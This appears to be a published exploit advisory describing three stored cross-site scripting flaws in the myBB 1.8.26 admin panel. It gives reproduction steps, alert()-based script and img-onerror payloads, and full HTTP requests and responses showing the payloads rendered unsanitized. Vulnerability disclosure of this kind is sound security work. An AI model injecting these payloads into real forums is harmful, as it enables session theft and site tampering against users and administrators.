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# Exploit Title: myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS) 
# Exploit Author: Andrey Stoykov
# Software Link: https://mybb.com/versions/1.8.26/
# Version: 1.8.26
# Tested on: Ubuntu 20.04

Stored XSS #1:


To reproduce do the following:

1. Login as administrator user
2. Browse to "Templates and Style" -> "Templates" -> "Manage Templates" -> =
"Global Templates"=20
3. Select "Add New Template" and enter payload "><img src=3Dx onerror=3Dale=
rt(1)>


// HTTP POST request showing XSS payload

POST /mybb_1826/admin/index.php?module=3Dstyle-templates&action=3Dedit_temp=
late HTTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]

my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&title=3D"><img+src=3Dx+onerr=
or=3Dalert(1)>&sid=3D-1&template=3D&continue=3DSave+and+Continue+Editing


// HTTP redirect response to specific template

HTTP/1.1 302 Found
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
Location: index.php?module=3Dstyle-templates&action=3Dedit_template&title=
=3D%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&sid=3D-1
[...]


// HTTP GET request to newly created template

GET /mybb_1826/admin/index.php?module=3Dstyle-templates&sid=3D-1 HTTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]


// HTTP response showing unsanitized XSS payload

HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
X-Powered-By: PHP/5.6.40
[...]

<tr class=3D"first">
<td class=3D"first"><a href=3D"index.php?module=3Dstyle-templates&actio=
n=3Dedit_template&title=3D%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3=
E&sid=3D-1">"><img src=3Dx onerror=3Dalert(1)></a></td>
[...]


Stored XSS #2:

To reproduce do the following:

1. Login as administrator user
2. Browse to "Forums and Posts" -> "Forum Management"
3. Select "Add New Forum" and enter payload "><script>alert(1)</script>


// HTTP POST request showing XSS payload

POST /mybb_1826/admin/index.php?module=3Dforum-management&action=3Dadd HTTP=
/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]

my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&type=3Df&title=3D"><script>a=
lert(1)</script>&description=3D"><script>alert(2)</script[...]


// HTTP response showing successfully added a new forum

HTTP/1.1 200 OK
Date: Sun, 20 Nov 2022 11:00:28 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
[...]


// HTTP GET request to fetch forums

GET /mybb_1826/admin/index.php?module=3Dforum-management HTTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]


// HTTP response showing unsanitized XSS payload

HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
[...]

<small>Sub Forums:  <a href=3D"index.php?module=3Dforum-management&fid=
=3D3">"><script>alert(1)</script></a></small>


Stored XSS #3:


To reproduce do the following:

1. Login as administrator user
2. Browse to "Forums and Posts" -> "Forum Announcements"
3. Select "Add Announcement" and enter payload "><img+src=3Dx+onerror=3Dale=
rt(1)>


// HTTP POST request showing XSS payload

POST /mybb_1826/admin/index.php?module=3Dforum-announcements&action=3Dadd H=
TTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]

my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&title=3D"><img+src=3Dx+onerr=
or=3Dalert(1)>&starttime_day=3D20&starttime_month=3D11&starttime_year=3D202=
2&starttime_time=3D11:05+AM&endtime_day=3D20&endtime_month=3D11&endtime_yea=
r=3D2023&endtime_time=3D11:05+AM&endtime_type=3D2&message=3D"><script>alert=
(2)</script>&fid=3D2&allowmycode=3D1&allowsmilies=3D1


// HTTP response showing successfully added an anouncement

HTTP/1.1 302 Found
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
[...]


// HTTP GET request to fetch forum URL

GET /mybb_1826/ HTTP/1.1
Host: 192.168.139.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100=
101 Firefox/106.0
[...]


// HTTP response showing unsanitized XSS payload

HTTP/1.1 200 OK
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P=
erl/v5.16.3
[...]

<a href=3D"forumdisplay.php?fid=3D3" title=3D"">"><script>alert(1)</script>=
</a>



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